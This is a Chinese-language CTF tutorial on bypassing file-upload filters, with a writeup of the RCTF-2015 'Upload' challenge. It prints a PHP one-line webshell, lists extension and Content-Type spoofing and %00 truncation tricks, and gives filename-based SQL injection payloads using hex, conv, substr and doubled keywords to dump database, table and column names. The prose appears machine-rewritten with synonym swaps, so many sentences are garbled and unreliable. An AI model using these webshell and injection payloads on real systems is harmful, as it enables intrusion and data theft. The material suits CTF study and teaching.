本文已参加「新人创造礼」活动,一同敞开创造之路。 1.为什么要去了解该常识点 2.原理 3.自己的了解和实践 4.CTF标题事例


声明一点以下或许说的不是很友爱,所以如有灵敏词汇请评论我,作者会改


日常诉苦言语:文件上传没什么诉苦的,首要就是学会过滤



为什么要去了解该常识点

文件上传在CTF真的很常见,并且大多数过滤,有小数部分是注入,文件上传的意图常常传一句话木马然后使用菜刀或蚁剑来查找文件或许衔接其数据库,可是你想传成功,哦不,CTF不或许让你那么轻松的,常见的套路无疑是以下几点: 1.只允许传图片格局文件 2.过滤掉文件名或内容中含有php等关键词 3.不生成上传途径







原理

只允许传图片格局文件

这种无疑是最常见可是过滤起来是最简略的,如果要过滤的那就送你一个字——–>套 怎么套?你能够试试以下几种: 1.删去属性 2.用burp将文件改为.php 3.修改Content-Type 4.检查后端是怎么进行判别

删去属性

删去属性的原理在于经过前端了判别你文件格局是否为图片格局,所以你需求进入开发者形式然后检查其调用了什么函数,然后将其禁用即可

用burp将文件改为.php

这种相对来说比较简略,能够直接用burp改其后缀名为php,这种简略的修改也不是很常见,比较CTF不会出这么简略的

修改Content-Type

Content-Type表示上传的类型,后端大部分经过其进行判别,所以将Content-Type修改为图片格局类型即可绕过,常见的图片类型: 1.image/jpeg 2.image/png 3.image/gif

检查后端是怎么进行判别

网上常见的过滤有php.jpg.php进行过滤,咱们能够经过其来解说,有些后端是经过判别文件名的后缀名来判别文件类型,有时判别句子会先判别第一个.后边的内容为jpg/png/gif/bmp格局,有时会判别最终一个,所以对于这些通常用%00切断来过滤,原理在于php无法识别%00后边的内容,如果要详细理解其原理那就要你自己去百度了,这里我也不太理解

过滤掉文件名或内容中含有php等关键词

这种比较考php常识点,可是过滤其实仍是与sql注入过滤原理差不多 1.大小写混写 2.叠写 3.Php的其他扩展名(pht,phtm,php3,php4,php5,php6,php6)

有时会过滤掉文件内容,常见的一句话木马

<?
php @eval($_POST['pass']);
?>

有时他也会同时将<?过滤掉,所以能够使用等价函数

不生成上传途径

这种比较难,并且现在出现的比较少,可是仍是挺难的,面对这种一般都需求看是否有源代码走漏,或许看上传文件后有什么提示,有时会考虑到文件上传缝隙







CTF标题事例

RCTF-2015—>UPload

打开网站出现这样:

文件上传---滴滴!我要上传shell

遇到这种,先不考虑注入,先考虑登录成功后页面检查是否有可用常识,如没有或许无法登进就要考虑是用全能密码仍是sql注入

文件上传---滴滴!我要上传shell
登入进去后出现这样,能够发现是上传,那就测验用burp抓包一般上传,看是否回来上传途径.如有则上传一句话,如需求过滤则用上面的”套”进行过滤 上传一个正常的文件后,页面回来内容为
文件上传---滴滴!我要上传shell
文件上传---滴滴!我要上传shell
那就要先考虑是否有源码走漏 测验robots.txt,memberpage.php.bak,index.php.bak,/.git/,www.zip都无果 那就考虑是否为文件上传注入缝隙,看到前面有回显文件名 所以能够初步判别为文件上传注入缝隙,sql句子或许为: INSERT INTO xxx(uid, name) VALUES (‘uid号’,’图片名’) 由于图片名会回显,所以讲图片名分解为’+hex(database())+’.jpg 这里用hex也是看其他大佬writeup的,横竖不用则会回显0,首要原理仍是不是理解,或许考虑到sql内核函数问题 将文件名改为’+hex(database())+’.jpg 页面回显为7765625 长度为7,那必定有问题,由于网上的十六进制转文本都是每二个字符进行组合转化的 所以能够猜想十六进制并没有显示完好,所以能够测验将其转化为十进制输出 用到的函数为conv(strng,当前进制,转化后的进制) 将文件名改为’+(conv(hex(database()),16,10))+’.jpg,页面回显为一个科学计数法,阐明十进制数字很大,所以需求进行字符串截取 Substr() Playload:

'+(conv(substr(hex(database()),1,12),16,10))+'.jpg

这里为什么截取12个字符,这里也不要阐明,你或许将12变成13试试就理解了 回显: 131277325825392 暂时不需求转化,由于你现已知道十进制必定大于12 所以继续,直到超出长度报错就可 最终组合得到十进制为:1312773258253921819238756转化为文本:web_upload 然后进行爆表:

'+(conv(substr(hex((select table_name from information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

文件上传---滴滴!我要上传shell
发现过滤了select ,from 所以或许测验大小写,叠写,内置注释符 这里就直接用大佬的办法用叠写

'+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

得到回显,同样像上面一样,最终组合的十进制为:114784820031327112615676665705112615676665705转文本为:hello_flag_is_here

继续爆类名

'+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

最终得到类名:i_am_flag 然后爆值

'+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

最终得到flag

最终能够参阅一下大佬的writeup